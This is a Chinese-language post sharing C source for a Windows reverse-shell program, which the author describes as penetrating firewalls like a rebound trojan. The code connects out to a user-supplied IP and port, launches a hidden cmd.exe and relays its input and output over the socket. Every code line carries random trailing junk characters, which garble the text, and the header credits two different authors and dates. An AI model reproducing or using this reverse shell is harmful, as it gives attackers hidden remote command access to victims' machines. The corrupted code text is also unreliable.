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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %cF`x_h[j  
@*;x1A-]V  
/* ============================== wkg4I.  
Rebound port in Windows NT |#Gxqq'  
By wind,2006/7 -gn0@hS0  
===============================*/ !=9x=  
#include }\a#e^-xQ+  
#include 'Ru(`" 1|  
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#pragma comment(lib,"wsock32.lib") ghQ B  
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void OutputShell(); iOfm:DTPr  
SOCKET sClient; "K{_?M `;e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }x'*3zI  
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void main(int argc,char **argv) AL]gK)R  
{ .$U,bE  
WSADATA stWsaData; f:;-ZkIU ?  
int nRet; *D]:{#C*  
SOCKADDR_IN stSaiClient,stSaiServer; G]lGoa}]`u  
w2LnY1A  
if(argc != 3) [gW eD  
{ a&s34Pd  
printf("Useage:\n\rRebound DestIP DestPort\n"); kWzp*<lWe  
return; ~ 'ZwD/!e  
} Aztrq  
WK%cbFq(  
WSAStartup(MAKEWORD(2,2),&stWsaData); WjV Bz   
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +M j 6.X  
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stSaiClient.sin_family = AF_INET; 0R?1|YnB  
stSaiClient.sin_port = htons(0); t3L>@NWG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /~LE1^1&U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AR| 4^  
{ 91R# /i  
printf("Bind Socket Failed!\n"); [S6u:;7  
return; fUw:jE xz  
} }?[];FB  
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stSaiServer.sin_family = AF_INET; ]E9iaq6Z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |MNSIb&,W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); . ,|C>^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !LK xZ"  
{ {;$oC4  
printf("Connect Error!"); jz!I +  
return; GQ(Y#HSq  
} jCqz^5=$  
OutputShell(); >.<VD7p  
} 6[m~xegG  
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void OutputShell() ^ :VH?I=  
{ C HnclT  
char szBuff[1024]; F^l1WX6  
SECURITY_ATTRIBUTES stSecurityAttributes; gT}H B.  
OSVERSIONINFO stOsversionInfo; 1AJ6NBC&c  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {B$CqsvJ  
STARTUPINFO stStartupInfo; 80nEQT y  
char *szShell; LnR>!0:c  
PROCESS_INFORMATION stProcessInformation; WwmYJl0  
unsigned long lBytesRead; ^O}a,  
=2!p>>t,d;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rPk|2l,E,3  
}Rh\JDiQ  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QK_5gD`$a,  
stSecurityAttributes.lpSecurityDescriptor = 0; VEps|d3,,  
stSecurityAttributes.bInheritHandle = TRUE; =~:IiK/#  
{B+}LL!  
Y3 $jNuV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fU6YJs.H^8  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x`6MAZ  
s&7 3g0$$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BlJiHz!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p4T$(]7  
stStartupInfo.wShowWindow = SW_HIDE; b0~r/M;J  
stStartupInfo.hStdInput = hReadPipe; '_v~+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V%-hP~nyBx  
qd a 2  
GetVersionEx(&stOsversionInfo); Q[OwP  
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switch(stOsversionInfo.dwPlatformId) 0)&!$@HW  
{ :8b'HhjM  
case 1: #Y5k/NPg  
szShell = "command.com"; GvVkb=="  
break; Y"FV#<9@7E  
default: /pMOinuO  
szShell = "cmd.exe"; $N?8[  
break; /k'7j*t Z  
} ;yNc 7Vl  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ZTR9e\F  
N R c4*zQJ  
send(sClient,szMsg,77,0); _=g&^_ #t  
while(1) 9evr!=":  
{ /A9RmTb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8lQ}-8  
if(lBytesRead) 5 kHaZ Q  
{ k9k39`t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7uR;S:WX  
send(sClient,szBuff,lBytesRead,0); 7I3_$uF  
} CX]1I|T5  
else rXB;#ypO  
{ 9=>q0D2  
lBytesRead=recv(sClient,szBuff,1024,0); :^7w  
if(lBytesRead<=0) break; =Jm[1Mgt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^s)`UZ<C=  
} W9SU1{*9  
} Z],j|r Wy6  
;21D^e  
return; xsa`R^5/c  
}
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